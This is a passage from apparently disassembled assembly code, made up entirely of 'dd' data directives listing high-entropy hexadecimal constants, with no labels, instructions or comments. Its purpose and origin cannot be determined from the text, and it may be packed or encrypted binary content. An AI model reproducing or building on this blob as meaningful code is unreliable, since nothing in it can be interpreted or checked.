0D9124C4Ah, 0EAAF30B7h dd 35501D6Dh, 4980F9BAh, 75333440h, 3909BE07h, 78ED8E1h dd 5F20A08Ch, 0B861AAAh, 859AC3B2h, 0D7D99980h, 4C0356A6h dd 14735548h, 90490F26h, 0CF430CC9h, 0B7981806h, 783CFC2Bh dd 27098010h, 514B9C22h, 434D5C45h, 413B8900h, 0BEE86B0Fh dd 0BBD8A20Eh, 63FA80C7h, 230DDBh, 0BA62E545h, 0C6DAF154h dd 93795200h, 0E834D714h, 488909D1h, 1800753Ch, 44774E21h dd 0CA005070h, 5D59431Dh, 0FCE879DFh, 0CBD600BCh, 4A508CDEh dd 0F04EB32h, 0A93B40ADh, 67E604C0h, 0DB1B00ECh, 0AC045F19h dd 7A00CBC3h, 6BBAFF3Bh, 7AD2526h, 8BD49D55h, 6A6100CAh dd 0B40038E6h, 6616EA17h, 6D5B4Dh, 187302D6h, 0F49AD825h dd 7F5D1B0Fh, 0EB3C409Dh, 0CFA7ABh, 43DDD5BEh, 0FB6D4DDEh dd 708EC326h, 0EF8999Ch, 0C0A8A012h, 6CC8727Dh, 3A60EA89h dd 8F8004F2h, 0F9DFC673h, 0ED093B88h, 0B92FC7h, 0B62B740h dd 0EC724Ah, 950A72B5h, 9810EEE9h, 62CF407h, 0DC507F50h dd 522312h, 0A0ED3157h, 5FE56614h, 86B08861h, 0DD302DA5h dd 458B03B8h, 0D8702812h, 0F5F20590h, 1AC53200h, 0A8ED43F0h dd 4DB9008Bh, 7D19403Bh, 644CB475h, 6BDC003Ah, 8B632BC0h dd 0EE32E2D1h, 0D304303Dh, 224AED19h, 729C3B00h, 0D1C52384h dd 0B8A50088h, 63E5397Ch, 6590E144h, 41EBC701h, 2DE6DF1Fh dd 7A31E7DCh, 0D9530758h, 0C344884Bh, 0A4F00335h, 4D737BA5h dd 9B05ACFCh, 0AB8B3DE5h, 77B6F005h, 0C9A9C040h, 5263D4h dd 0E8ACA9Ah, 35F6380Ah, 44F2FD50h, 93DA9B00h, 0CFB7BB70h dd 0F4A50084h, 2B9D76E6h, 0F20526BDh, 0DA15F5C2h, 8F6B9807h dd 0EC70F017h, 0B2A50CD8h, 0DE9B005Ch, 52AA9D48h, 0BD0F94B2h dd 0E30BDDC5h, 88835BB7h, 446ADAh, 8F0F1CCDh, 169ADC49h dd 1D8AF00h, 0EDFF12FAh, 14F73EFh, 0EB368D3Bh, 40E97D8Fh dd 0A282BF50h, 1C541E3Dh, 0CD40CAC5h, 8377FC38h, 0A62F0003h dd 0B21F136h, 0AA26C0D4h, 0E2006465h, 0F66D4518h, 0F5823004h dd 64D2D618h, 7C378D0Ch, 3AAEC190h, 2060D7F8h, 547D5501h dd 0D900ED72h, 0E4896138h, 0FC72BCA0h, 3103E88h, 3D1C844Ch dd 621F80DAh, 0F49B1776h, 288FC400h, 4B1A5D5Ch, 9ED803FEh dd 0A158366Fh, 0C369F7D0h, 1C5EB000h, 0DFE07319h, 0CD020023h dd 0B4E19848h, 88BACB6Ah, 3B10FD4Ch, 25D83A4h, 80638BF9h dd 0EAE1B22h, 0BFB36C17h, 0FFF1EC0h, 0BC39ABD5h, 48918F9Eh dd 5BB60793h, 0B0F44F60h, 0DC8700E9h, 79CD9D07h, 2A019910h dd 5470DAACh, 0AA8EDB4Eh, 409EB65Fh, 0C949E95Eh, 7CFE4011h dd 56F5948h, 6B43D280h, 1CA1D4D0h, 679E3AF3h, 0D3995084h dd 5CC4A0DEh, 0D23EDF78h, 3B6803Dh, 0A6F2AC5Ah, 576C1E86h dd 0A08C5306h, 0C7F8E055h, 0A430C200h, 0BEB0EB12h, 722C0E35h dd 8CE13C68h, 0E8D270E4h, 0C6073B08h, 0B34B7AA1h, 6B54002Fh dd 0A0DA50h, 92BEA30Ch, 0B23BD180h, 866AE4E5h, 1DBAC500h dd 91BD7B36h, 0AEA400FCh, 5C9BB22Ah, 0DB004298h, 37CB0288h dd 60B6DDA8h, 5066C0E2h, 0EB009623h, 8C7F081h, 1F310637h dd 0D7B69AB7h, 15C40FA6h, 0DDFCD720h, 0AA073FADh, 5E0DA8EEh dd 8C4B406Eh, 0B876494Eh, 0A6CE1226h, 0B41405D2h, 95D900DAh dd 25667BAh, 8176F32Eh, 0EE24C00h, 9AF978h, 0C0FA2C3h dd 72DA8EBEh, 27074770h, 0D568F333h, 0EE5E8350h, 0FEE407E2h dd 0B0F65734h, 0B8AE7490h, 0D0601F04h, 0CFAD8Ah, 0A30AD4A2h dd 1A98003Eh, 0B3A0E753h, 4790008Dh, 2442AC3h, 330048F7h dd 87B6EAFFh, 0F56D60h, 1D3DC18Dh, 0B850F872h, 72FEE48h dd 73F74D82h, 188078C0h, 0C3A70039h, 0B20A677Fh, 953A770Bh dd 2DAF8023h, 0F2573E0h, 6AADA011h, 0E8BC00DCh, 82B939B1h dd 2030DD29h, 93A42189h, 0A6430033h, 4E27C08Bh, 5AF45D9Ch dd 0BC0358EEh, 0BDEEE613h, 0A328A024h, 7DB430E5h, 62941F11h dd 0BC9C8700h, 88B34473h, 72DFF401h, 4069012Bh, 0AB60823Fh dd 0FCE320A6h, 5653EC00h, 0F3467614h, 52FB0037h, 9BFDDC6Ch dd 3F00B0DDh, 0A1E5279Ch, 0D3CC21h, 0C760890Ah, 8F0C3316h dd 0FDBBC401h, 347D7F11h, 18658C40h, 2DD800E0h, 3317C345h dd 2E00BBB1h, 6288C493h, 0AD9558h, 53120222h, 0E0D7B85Ah dd 859C3E3Dh, 87D88C18h, 4C168400h, 0DAFAB9h, 7D56753h dd 5E1F2A1Ch, 98798A0Eh, 0F437A0B2h, 0FF0E3Bh, 0DE9670C2h dd 6C8C7C1Ah, 9A93Eh, 2539F2B5h, 77F188Fh, 5998DCDh, 104A5024h dd 0B207CBFCh, 7AF208DFh, 82FBF890h, 41C73FA9h, 5B3DDD80h dd 451B01Bh, 1006B78h, 91F80969h, 3B45864h, 41FA0B31h dd 0D0F7F9EBh, 0ADC6F106h, 73AA503h, 448B91h, 0B34FA948h dd 2EEF5987h, 0CA99C500h, 7364CC90h, 5AD70086h, 0FB7B151Ch dd 810F19A7h, 0C0CB3556h, 0F9776469h, 1BD40047h, 0EB838482h dd 9C002926h, 5868B2C0h, 0E8F0621h, 33C12407h, 2500C754h dd 9347CFA1h, 6E009E5Dh, 1DF33BDBh, 73F1F0h, 902912B9h dd 7B8AAF97h, 0E1D99F2Eh, 0DF280B0Ah, 8FC0C301h, 7EF84FABh dd 0A0E200F5h, 24026477h, 8200EDE4h, 3B4643D5h, 0CA2BD0h dd 8B53ACE8h, 1E7622DCh, 673160BDh, 98EB4C85h, 971A703h dd 0BDD86D16h, 6379BF22h, 0F091FA03h, 95F212h, 0ED843C29h dd 1DB5FC47h, 3D0776F2h, 99244BB6h, 11D092D7h, 0A2342Fh dd 0C1A731E0h, 1F7EF2E2h, 334D21C0h, 7B04E55Bh, 0C574003Eh dd 0BC7D90E3h, 0C9720B60h, 0FA4F491Eh, 98116D18h, 78224C58h dd 151A0D00h, 7E862AD7h, 5500A5EAh, 2F6AD0D4h, 0E4DA7D6h dd 485C1263h, 30A176E0h, 0D42F6FE8h, 0DC5860h, 0A2AD27CAh dd 84682E66h, 0A423241Ch, 40701170h, 74C01EEAh, 2704C77Ah dd 0B2D6C043h, 97E62D85h, 0A845BB00h, 0D17149Dh, 8783300Bh dd 0B738B5DCh, 10560900h, 0ED725433h, 0DA790063h, 3C519F80h dd 0BA002455h, 4A44E01Ch, 3D23A0B6h, 1AB0D059h, 2D8B7D10h dd 24C3C638h, 0D506FE2Ah, 2EA682Bh, 0A56593E6h, 2A4028CBh dd 3C0F38B2h, 8052A99Fh, 4EE9DB1Ch, 4FA40FFDh, 5820936Ah dd 8A1E22F4h, 43DEEE00h, 1AE0E7AEh, 0C915006Eh, 0A042D701h dd 0E100175Ch, 45B70E81h, 0A06C5350h, 7B9E84A4h, 31493AECh dd 636A1B87h, 0EF5490C7h, 0C400FC77h, 0D3502A5Ch, 410B0BAh dd 8464254Eh, 0B65880CAh, 412446BCh, 0A7004EA6h, 6DCC4B13h dd 0A3800D4h, 0E6E1C194h, 0CE008541h, 0BF7CEF3Bh, 0F1634Eh dd 0D7FDB5CAh, 0DDE35DB2h, 0FFF01718h, 261B11h, 416F9BAEh dd 51C25F04h, 1D28A501h, 60B54EA7h, 0FD3779F0h, 93B2D0h dd 0F8E1102Fh, 9D996E43h, 9A28E900h, 0B50CF175h, 79F602E6h dd 4894B21Fh, 616BC080h, 6300FAD9h, 0AFA8C3D6h, 0C672B7h dd 59E8527Dh, 0A189B19Bh, 8A513F01h, 50C30649h, 3BEACC40h dd 0C0E97786h, 302A16A8h, 2818370Ch, 2EC8623Fh, 35C805C2h dd 80252906h, 967A5F48h, 0E9FF4900h, 9C95A2A8h, 0DA870056h dd 980EFD5Ch dd 0CB60146Ch, 367CD6C8h, 61E415h, 22E6C579h, 0CC946FBBh dd 671F5700h, 78529BBCh, 36CB4C8Bh, 0BD62Ch, 4741B2ACh dd 1E0EA4F9h, 793CEFAh, 0D44459F1h, 22388B80h, 0C8A9518Ch dd 5724D0h, 0D9BC2E0Bh, 516F5DFEh, 2F1D4C98h, 5ED8404Eh dd 0F8CA8638h, 7FDF0422h, 882ED084h, 0BE3CFA8Ch, 0D7251FEEh dd 0A16913C1h, 0B6805696h, 0B09A9474h, 7C000A88h, 2F656D02h dd 33B20E9h, 759B1924h, 26F04595h, 270752B9h, 0CDFB8D51h dd 48D871C4h, 0D2F70037h, 0EAF1D8E9h, 3F0024B2h, 0DC056BB1h dd 2196F17h, 0B6DFEC36h, 96E101E1h, 630424D9h, 0F615D004h dd 6C807A1Bh, 0B4A136h, 3569D83Bh, 48EAA5C7h, 388F3F00h dd 6E21F37Dh, 999700D4h, 4A384ADh, 0BBF6C664h, 0CC5521FDh dd 9C04D979h, 31BA5E53h, 80014C5h, 706ED67h, 3A2E00E3h dd 32F63D9Fh, 0E5009638h, 0F28F4F29h, 0F81ECE6h, 588297D0h dd 0F212AFh, 2CB28762h, 0C0034692h, 0FF017C4Ah, 33D6FF6Bh dd 40051261h, 0DB0C4186h, 0E0550D1Ah, 0A3050C07h, 30AF4C3Bh dd 14331005h, 0C3B61C00h, 0CEB7E6A6h, 798FF408h, 2132ADC6h dd 865C11E4h, 3ECB00FBh, 2BCAEAB4h, 1E4F7E1Fh, 5F2DFC66h dd 73EF80A6h, 36F2FE3h, 0E79B940Ch, 0FCB840E6h, 32E913A6h dd 0FF5900CAh, 14D720C8h, 6C3E5B07h, 0E5C034A3h, 7BA9ABDh dd 0B6E89E13h, 0E1B310C7h, 9D0153D0h, 6932A705h, 0E5600EAEh dd 73EC12E7h, 71E840EBh, 0A3B667C7h, 0FC97C8C0h, 2E0104h dd 61AB12E7h, 326D4F0Dh, 4C006A98h, 381023D2h, 2009FDh dd 0CC06BE9Dh, 7497D7CAh, 6C00BCF2h, 0D9DB4FB1h, 0F2358B3h dd 0B86D5ACBh, 0D7602B82h, 193EE80h, 0A8A8850Eh, 7100F8D2h dd 52F73B9Dh, 742733EAh, 21986053h, 0CF71F974h, 76260103h dd 38379B54h, 24D8F248h, 1B57DB16h, 201068C0h, 0E166921Fh dd 44670D6h, 0C871FF1Eh, 99C4CF3Bh, 71F04740h, 59071BB1h dd 0AA2DF9DAh, 6B76723h, 17E7BB79h, 5410D936h, 0E1060963h dd 18378BB1h, 58F31909h, 4F04101Bh, 0E5C500A0h, 6EA6FBB7h dd 8CCABB0h, 26F52147h, 2CD9C5C8h, 14410000h, 7613DD69h dd 6B28D00h, 5B7DC0C4h, 0F2F834h, 102E2272h, 2A0D2C63h dd 4050A209h, 8DD381E1h, 3CC11F0h, 0CB3E00D0h, 8882F63Ch dd 5003C844h, 42B513B4h, 63420226h, 0D5C5164h, 0EC807CC2h dd 0D0A1E3E7h, 0FFC63Eh, 87316E0Bh, 0B9F9C0h, 0E46174A7h dd 9A2AE3ABh, 59FC3C00h, 986312FEh, 76BFB0BEh, 0E21C0087h dd 4B2A4EDEh, 9300C311h, 0D564F061h, 0E1ADC4h, 0CC9AEB08h dd 0A368B45Dh, 0E0123900h, 1A0F612Eh, 0B02F005Ah, 4B6752D5h dd 89FA2398h, 76E2D600h, 74D933F6h, 0E1FFAFCh, 8720B5D3h dd 6C238018h, 0F67253Fh, 0E0A48E5Bh, 135E18DEh, 912B0B64h dd 480F800Eh, 0C83108EDh, 0D800F8B1h, 0A8D331A5h, 371036B2h dd 0D0B16FB3h, 894C9CE6h, 225DC800h, 0BA3174A6h, 0F140D72Fh dd 0C6CB20B5h, 0D25ECC0Fh, 0A3934366h, 89610030h, 53B7195Bh dd 490A43C7h, 0BC2AF005h, 38874186h, 0CAD50029h, 3C52F68h dd 0C83B97CCh, 0A7F0159h, 67776496h, 0C42E03DAh, 0FDBD1888h dd 0AE68CF00h, 0D11C322h, 4E5D00A4h, 0F2AC5675h, 2CFA5406h dd 0D838EB0Eh, 0EE67878Eh, 0ECA8B8C0h, 2380B584h, 7CBA2290h dd 8D1353EEh, 0E300F47Eh, 3FDC9814h, 3BD23910h, 0D33000F4h dd 0C5ED517Dh, 2C0C4386h, 85394A7h, 0DB21C069h, 1896EDEAh dd 0FA7AB10Fh, 4CC01E6Fh, 0B4608C98h, 0CA191CE6h, 9AA44126h dd 8C2F3DDCh, 812BC38h, 0E8751Dh, 0DA7D21EBh, 0C094541Fh dd 19E5CF0Ch, 0E10202Dh, 0F6B35262h, 78E280DFh, 9671FB20h dd 7F19C009h, 829C8177h, 1881516Ch, 1C5DC3F8h, 1EB1F078h dd 0B998CB07h, 50807916h, 3A7DB643h, 0B480E162h, 0C4A2F7B1h dd 3C0082A4h, 97A7DDA8h, 149A1529h, 0A861BE41h, 0CD6B0E00h dd 0CF807317h, 5362AF00h, 0A9695823h, 81970CB4h, 6738BEF3h dd 3F0FFE78h, 0A091764Bh, 0AC944936h, 0D7EFA0B0h, 0CC67C8Ch dd 74681BE7h, 0CA002068h, 9E94ED62h, 0F0608431h, 0E9DA0050h dd 883C7098h, 18F87AFFh, 930328E6h, 0C04896BBh, 7019005Ah dd 0A38F2B9Ch, 44A0F922h, 986535DDh, 64C3F660h, 5CC2C847h dd 878A0080h, 0A0C917C1h, 0F072C12h, 929DE299h, 0AB19FDA0h dd 303750Ch, 59CC2C6h, 48036F37h, 0ACA5A0BEh, 0EC781550h dd 0B03E94B1h, 48143DFAh, 60BCFA00h, 61CF2064h, 1CF79D01h dd 937DA60Bh, 96FC5087h, 920E606Ch, 9500F9A4h, 0DF1898CCh dd 0C00BC1h, 0A33F6117h, 0F75EA6D0h, 2065F2F8h, 42E2E11h dd 2F0BD1C3h, 807B1000h, 0EC18BE76h, 0AC050314h, 0F98FDED0h dd 1EF793A0h, 2EDB4E03h, 21637822h, 3004F829h, 7A04D2A7h dd 62DC444Fh, 0C942FC48h, 208624A8h, 83B4CF7Fh, 126A2184h dd 14627994h, 24C4213Eh, 26807F88h, 62407Dh, 0D3D1F0F1h dd 0E100C020h, 0BB278E71h, 170CDF7h, 0A4118A95h, 0C876625Bh dd 0EF00C926h, 0CD7740DDh, 0ACC466h, 67E3F016h, 9A9E1EE0h dd 4870D700h, 0BBCA9C6Bh, 41B403B9h, 2A0C374Ah, 5919FBB0h dd 0EF28480Fh, 988DE0E8h, 521439h, 0ACCDC2D7h, 69999CC7h dd 81E52800h, 0EB19F14Bh, 430A3AFFh, 0AC363980h, 84D8C610h dd 3044672Ch, 6840291Eh, 2AB1DB8h, 5ECE00D0h, 16E38C88h dd 0B2009C50h, 96396A09h, 7B84657Ch, 0CF5131D8h, 0F4D3DE60h dd 0C3007630h, 38D4FE4Fh, 0F4854C2h, 66B4703h, 737217A0h dd 9300929Bh, 0F3EA3FE7h, 159FF7h, 0FC88D91h, 43DDDFAAh dd 3CFFE103h, 0B8497965h, 57A3D6h, 0ACE20A15h, 50178778h dd 8F6E018h, 795A90h, 0EE8EE418h, 0C156CBA0h, 30F87B0Eh dd 37462075h, 59FA2A7h, 8B8D4248h, 3910C03Fh, 26391B0Dh dd 0A4678097h, 83DD637Eh, 0E2730042h, 8F2EFCBDh, 0D000F321h dd 93290CB6h, 0E0E37Eh, 3CEEAD31h, 3962ACFBh, 0B286B001h dd 4ABD6592h, 7576E4C8h, 44C00FAh, 74370D72h, 540184B4h dd 9F46FD4h, 0E2F818DCh, 635E005Ch, 24F50723h, 22003795h dd 0B4E8F1C2h, 8013C5h, 4520C8B0h, 0A834C1AAh, 0BF9E9C00h dd 0A4717894h, 0D4250024h, 7B034B76h, 0A3795C4Fh, 0B57D1B03h dd 0A051736Dh, 0EC96DFh, 0B4C7A863h, 0E637A67Bh, 9C98411Eh dd 0FCE17200h, 5B2BBEh, 2841A5Dh, 8A1CE256h, 9509F1E6h dd 0ED93C98h, 3F416064h, 0F4C275E6h, 0F02700B5h, 0BFD46849h dd 56000E16h, 2C13423Eh, 0E4B7AC8h, 0D88C5E83h, 0FCF0B401h dd 0C6B07BB9h, 904800C1h, 0C8762385h, 1F7AA2F4h, 0F2E62F00h dd 0AD18D7E5h, 3C9F007Dh, 4F14955Dh, 6103A56Fh, 8BF72ACh dd 8EF28882h, 0C4F9009Bh, 418B2C56h, 451E6703h, 69C3C32Fh dd 0AF863C8Ah, 0F2E1D170h, 0AB23C71h, 0D9A5D0h, 0B7FA18D6h dd 0FD30FCA7h, 5650ED05h, 80EAF021h, 0D6FB241Ah, 2A187C00h dd 0B678B55Ah, 5280077h, 0B95898DFh, 0A6027668h, 95BAFF45h dd 4244025h, 4F320046h, 0AC7713BCh, 61727AEEh, 8310A61Eh dd 6342791Fh, 40FF2217h, 0B6599h, 745408EFh, 831A0419h dd 70A0D407h, 1355A8EDh, 0DE3B8580h, 0A1550028h, 0CB3F86B1h dd 9F0F8F03h, 6046BF1Ah, 4E2BE50Eh, 71D300E8h, 0A290B193h dd 627C2806h, 55325201h, 0F3CE2594h, 0C764D4h, 0D5FE14C4h dd 110B1B81h, 6C68060Fh, 0BFC3A5CAh, 0FC2DE000h, 192BD1Fh dd 80C190Bh, 0F0B03810h dd 0D7001548h, 0DBD85F75h, 74A7B65h, 0ADA1979Dh, 9AF0506Ah dd 833A3107h, 595830Bh, 0B8200667h, 103F468h, 9C38F25Bh dd 0EC6AE822h, 69007BF5h, 0E9F667F3h, 7CECDA5Ch, 16890736h dd 103D22C7h, 0D5F8CBCEh, 45433Bh, 0D0C16514h, 89861h dd 0EFB788C8h, 36CF6B39h, 97B25D01h, 0ABC31D99h, 9DE7F4h dd 2AAD8D55h, 2BA92DA2h, 0D4DF6E00h, 29D1690Dh, 0D5BD03BFh dd 0F74F4082h, 2ED830A8h, 2B91E900h, 5D448D75h, 3F53006Dh dd 8546980Fh, 4CEE0DF6h, 14AD5700h, 8848F8Bh, 7FFA3D31h dd 6E616782h, 68405133h, 0F95C0E9Bh, 901C000Ch, 0C185E11Bh dd 5F000A1h, 931DA945h, 0C5F0EE0Fh, 0D271271Ch, 1AE49C00h dd 3168FD1h, 78A2328Dh, 0FAF20E7Bh, 0C6B74460h, 80DE5239h dd 4FC8BF1Ch, 0D05371h, 0D95134ADh, 7F9695E7h, 10523D00h dd 533E1D7Ah, 0B87E0B2Dh, 79005AABh, 1828B01Ah, 0A9843Bh dd 0BFCB818Fh, 0AD2956h, 5500BECh, 208AD121h, 6614F100h dd 0DB789245h, 492E00E6h, 0D59B573Ah, 0AF001CE9h, 0D4BB750Bh dd 2740DC7h, 0C3E1BAE7h, 0C6E072EFh, 341E60D6h, 0FD7A7B0Ch dd 0F401A579h, 55416BA7h, 35F4638Ch, 80AA008Bh, 3F195070h dd 3001A39Fh, 4616E7BBh, 10C0ED7Eh, 66FC3Ah, 0F84ED1BAh dd 5CD9CBA8h, 38F96A38h, 0AD05F4C5h, 0D6238AA6h, 4A00EC1Fh dd 3C5AB390h, 99D80E34h, 45E1E7A9h, 3011BF1Dh, 0D000AA68h dd 0AC8FBF5h, 0E8097656h, 60AB0078h, 435C5F14h, 0CF8F9B7h dd 7F11E600h, 3FB0B77h, 530107B0h, 90B82065h, 7E5793D1h dd 0A7A3861Ch, 7D5D7480h, 16103522h, 0F1551Bh, 65CAD6Dh dd 0D70014EAh, 35A2C086h, 164402h, 49F5F8B7h, 5CB254FDh dd 6AF658h, 0FB9F414Dh, 2FC9CF91h, 5F5882ABh, 0FA00D7FEh dd 0A401F927h, 3DA77Fh, 94B61EBEh, 0EFEA9F76h, 135BDF48h dd 898006A9h, 3A910Ah, 0CB905E33h, 0E7CDE244h, 813E7000h dd 6C4B2A3Fh, 7E4E0EFBh, 1B604D57h, 0C63A1356h, 0FED92B03h dd 0B9A573A2h, 0F040F398h, 959E2Dh, 1163BB1Fh, 0CEE723DBh dd 352A64Ch, 96E15061h, 60A2D8FFh, 0FE1D009Ch, 2758936Ah dd 1F033084h, 879B10BEh, 8191E8E1h, 0A0233877h, 8C620202h dd 0C3C017AEh, 0AC009F4Ch, 1DEB3D47h, 30568C8h, 0CA12CF5Bh dd 0B5B0D173h, 3C0923D8h, 88FCFBC0h, 0D9018D14h, 1E1D5FBAh dd 7DC31D8h, 0A83BEE9Ah, 2A16A007h, 0BBF2C508h, 0E20ECE33h dd 56ADC8CBh, 1C1005Ah, 819A424Dh, 5EA23EAh, 97FD0E2Ch dd 0BCB6800Ch, 90FA3C79h, 38251198h, 0FF12C094h, 9900F453h dd 0D8E2052h, 1420E11Fh, 59E25Dh, 1507DC14h, 2F80B8Ah dd 0AFA3FF00h, 0A6718178h, 1F37FF9h, 0D2D61561h, 0D4EA60D1h dd 6A007320h, 0F611AECCh, 8B70C70h, 0FA1D48DCh, 6D0F801Dh dd 0DFC6C30Bh, 67DA904Fh, 78A79BDh, 0F0C81564h, 85FA10F8h dd 1A00BA4Eh, 5DCCB486h, 1C9DFD48h, 6674D37Ch, 0DAF200F1h dd 3CAC0487h, 9652E50Eh, 0B663E36Eh, 9006F009h, 0F67B00D1h dd 201429B4h, 0BA0049C3h, 9428F28h, 0A0612697h, 4CD3D2h dd 0B6ED81D2h, 6E56CD1Ch, 81595738h, 0ECC94ECCh, 0B4E465B3h dd 0DFCF0FB9h, 79406732h, 0A5B5206Ch, 0C400C076h, 0F281A066h dd 0B83A7548h, 13E3EC04h, 14251B4h, 88D409B8h, 0CDB04001h dd 4CF4A9ACh, 0F71A1700h, 6F92C9E4h, 483F0F93h, 49AFE171h dd 516D760h, 0FF7E61A3h, 90E6BA00h, 0DE9C3A23h, 44670C0h dd 0F82CAABDh, 6A50426Dh, 0A0EA0005h, 1D09C902h, 0D75A8EDFh dd 0DB915600h, 0EDB03E6Dh, 1CB5E909h, 813C8103h, 0F4E16427h dd 5307CCh, 266318ADh, 0F975A2D3h, 0CF653F17h, 0B5733B00h dd 37CB6F6h, 20972EDAh, 61A8FDD0h, 0EEE1369h, 320075EAh dd 373F48A3h, 3EBC787Eh, 0E181015Bh, 24C336Fh, 2BC0FBFDh dd 2200302Ah, 1AA64834h, 84C74Dh, 0E16C02EEh, 1EAE75DAh dd 2E28CB00h, 0F26BBAA6h, 0BDE8307Ch, 0D1F037ACh, 68A29100h dd 802803F9h, 4EDF0ED9h, 8DCEFF25h, 0FADABDE7h, 5180BA88h dd 0CFF2F313h, 0C9750701h, 0B1F1951Eh, 81075466h, 0C58087EBh dd 5C8DC475h, 2301BB7Ah, 0C7BB1319h, 411BE876h, 3CD4C238h dd 52F08F15h, 9A0016A9h, 0C9E6C65Fh, 0A8635C5Eh, 2D35E000h dd 8087682Bh, 0AA643800h, 57E46DC2h, 70679D4h, 0DDB2183Eh dd 0B5F323C7h, 3AA032CBh, 0F00077ABh, 5DD14E6Eh, 2455B8h dd 67038DF2h, 38C84CCFh, 0AB97050Bh, 8EF98080h, 58450D55h dd 7400C8D7h, 0BECDBF0Fh, 8C90497Fh, 84CA8907h, 6C7339F1h dd 4F79E86Ah, 1C740037h, 0CD81A858h, 0DF3C1EC5h, 1D4300FCh dd 0EB9261F0h, 3FBC1274h, 38620042h, 48184C5Ch, 2D931F1Eh dd 4A349701h, 68606055h, 5E7B0081h, 13B44C67h, 3E1DF2D5h dd 0D9013064h, 2E9D274Dh, 0B8E4070h, 8846DF0Fh, 59693C80h dd 0DE062263h, 6C1197CCh, 78D40019h, 0AC701A46h, 6B32840Dh dd 0E02069C8h, 0D20498h, 66535CB1h, 27A67E6Eh, 9D3CC400h dd 3E2F28CEh, 3CC99061h, 6F81716Bh, 0B48C9EADh, 784880D6h dd 0EE2B4150h, 23390043h, 0A1DBD799h, 0F148CB7Dh, 26C60088h dd 3A76F336h, 154B0065h, 64054530h, 8E7456DBh, 0CD045201h dd 0E8A15FF8h, 0DED460h, 0B8446889h, 0C16C50B0h, 0A0B98E01h dd 207F765Eh, 0FD30D240h, 0A9F00018h, 139D4EACh, 9714C8Fh dd 56728312h, 802A6400h, 98EDF363h, 3CAA079Fh, 202DB4A9h dd 0AE9C42E4h, 13C96001h, 36CCCFF8h, 154F2C8h, 0D57051C5h dd 0DC8A1B98h, 62009331h, 7D593385h, 8F701h, 0B25EAD04h dd 0B1179D64h, 91408A0Eh, 73A54005h, 0F7F1F6h, 88B4D54Bh dd 0A090316Ah, 8CA7B203h, 0A0EFE16Fh, 303BE0h, 2871D609h dd 0BA105B99h, 8E12B202h, 6039A82Bh, 149808BDh, 8CDC8C24h dd 8DDBBF00h, 0DF42BBC5h, 67BC0D00h, 0CCEBCEC4h, 337FF1h dd 4AE80104h, 5B87F97Eh, 7FDF5700h, 0CBF8483Bh, 0A1E61CB8h dd 0C67800C3h, 98857496h, 994D2900h, 66AE1B7Dh, 0D8D30764h dd 700CF409h, 0C1A005BFh, 53EC174Ah, 7B4A2900h, 0F8A6F16Dh dd 0B4A055E4h, 0A703C416h, 0B0EF91B7h, 80DD806Eh, 20F000DEh dd 0F4625311h, 0A3090757h, 8AA1F2h, 3DD923E9h, 5C0B03ACh dd 0F5803FC7h, 46B3DE98h, 2914D14h, 70680DB4h, 9830F4AAh dd 337B0077h, 997DFC4Eh, 0FDFAC80Dh, 0B023D600h, 0A054071Bh dd 0A4220E92h, 0F7207C82h, 843C0332h, 0FCCBD703h, 0C06EE299h dd 182F575Eh, 962D6B77h, 0C4001BC2h, 0B65344D6h, 15DCC5h dd 0F847AD4h, 3ECDBE98h, 8FCEF412h, 6388BC0Eh, 0F85FFDBBh dd 28B10AABh, 0BD9A53B4h, 0C8B8E670h, 8E3F5A90h, 95E88061h dd 0E0FC78EAh, 0CB1F0027h, 6631ABBEh, 5B002437h, 9AC0F82Bh dd 1FFCBA3Fh, 803C67D1h, 0A6E6D770h, 0B1019719h, 5C7FA00Dh dd 0B0C0B725h, 0A7AD3F6Ah, 6831E83h, 42A8BDC2h, 6C012FA9h dd 4E4F63BAh, 0E041D354h, 0B88082AEh, 0FC5B77A8h, 78C034BEh dd 0C46B59A5h, 0BCC503C3h, 0C0DBED42h, 0B0CF87Dh, 907F03E0h dd 6F5F28D6h, 0F514AF4h, 6AA7404Ch, 9FE660A3h, 0BE7D71B9h dd 8C46A11Eh, 8901D893h, 0E36331ADh, 889860h, 7E4C2187h dd 2F7DF450h, 3E29DA0Ah, 0F300B033h, 66A884F0h, 7CCD07C4h dd 0B0220AEDh, 0C52B71F7h, 335B9E04h, 28C1092Ah, 5EE0D97Dh dd 7AEC0373h, 62A036D5h, 91D90FA5h, 0AF4658C2h, 0BE00B059h dd 5B95A6A8h, 0AD960564h dd 1DA5D6Fh, 0FED9B2EDh, 20BCBFh, 695F8748h, 6185E9h, 6AC62831h dd 51681CBDh, 0F590BA00h, 0A1B2D34h, 3632135Dh, 0CB0006Ch dd 2BF0859Eh, 1FBA3B3Fh, 821C1854h, 24FDDE00h, 3C7A9703h dd 8100117Dh, 7263FF69h, 160087A4h, 478EE4EDh, 26905701h dd 0BCC5FCFh, 0A60E7378h, 0FF0A2E00h, 0EE0FB076h, 0C0164B88h dd 2A9BCC04h, 18070659h, 14292C41h, 5396C305h, 7CD04797h dd 49406Fh, 70C418CFh, 0A36B07C1h, 80F90639h, 0DE57D779h dd 4E04048h, 2B89B3Fh, 0A0A2C49Ch, 0D60EAEA4h, 65B34F3Dh dd 0C9C4F5BDh, 38D281C5h, 0D526602Ah, 1CB05Dh, 0B9C79233h dd 0A90F1916h, 5F14E300h, 9148F1ABh, 0C0BB7AFCh, 31F962A0h dd 3B00A89Fh, 0CA6D5170h, 0EF1D69D8h, 7B03020h, 13B1443Ah dd 0AF7B0037h, 640072E3h, 8386FD12h, 24FEBE7Dh, 0EBF84Ah dd 0A7A11E88h, 8902A6A9h, 4191A827h, 1610C84Fh, 73FF0028h dd 0F2818BCBh, 6000D76Dh, 0CC0E5FB0h, 0BAC503h, 9045B933h dd 670DC62Bh, 12693E07h, 48E052E7h, 1BFD597h, 7562A253h dd 0CC18F058h, 7B1EAD2Ah, 0A4003889h, 2D3B84Ch, 0CC4B49C5h dd 0E742900h, 0DF8F9A9Bh, 0D9283E19h, 4A60ED44h, 0DC5E0139h dd 0AE19D3E6h, 64FADC7Ch, 760FABB0h, 0A02DE2D0h, 0BC497881h dd 7B6A3D05h, 0CE5C3180h, 56518CCBh, 140E4376h, 4420ACF9h dd 4CB9391h, 0EABCC306h, 77091001h, 1A0225h, 0ED8CA9A2h dd 0C930FD1h, 3F4053D5h, 22EFD808h, 0A40D8600h, 17C7A264h dd 955D07DCh, 9032CD56h, 0D33EC620h, 0B948C500h, 9E93D64Ah dd 54A700EAh, 0C1CC5E83h, 0C200BE0Eh, 3A3858D0h, 201489h dd 0FDE6E930h, 90BB77Eh, 5274A500h, 242F161h, 8B6E005Fh dd 0AB47E575h, 8460288Dh, 80F5A721h, 8A0E071Ch, 60AF4532h 